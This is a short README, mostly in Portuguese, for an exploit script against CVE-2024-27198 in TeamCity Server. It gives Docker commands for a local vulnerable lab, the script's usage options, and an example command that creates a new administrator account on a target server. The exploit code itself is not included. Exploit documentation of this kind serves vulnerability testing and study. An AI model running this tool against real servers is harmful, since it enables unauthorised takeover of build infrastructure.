
Exploit para CVE-2024-27198 - TeamCity Server

Produtos e versões afetados:
| Produto | Versões afetadas |
|---|---|
| TeamCity Server | <= 2023.11.3 |
Você pode implantar um servidor TeamCity com Docker para testar este exploit
docker pull jetbrains/teamcity-server:2023.11.3
docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
http://localhost:8111 e siga as instruções de configuração para o seu novo servidor (basta clicar em Proceed e criar uma nova conta de administrador).usage: CVE-2024-27198.py [-h] -t TARGET -u USERNAME -p PASSWORD
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target TeamCity Server URL
-u USERNAME, --username USERNAME
Insert username for the new user
-p PASSWORD, --password PASSWORD
Insert password for the new user
Exemplo:
python CVE-2024-27198.py -t http://localhost:8111 -u mynewadminuser -p mypassword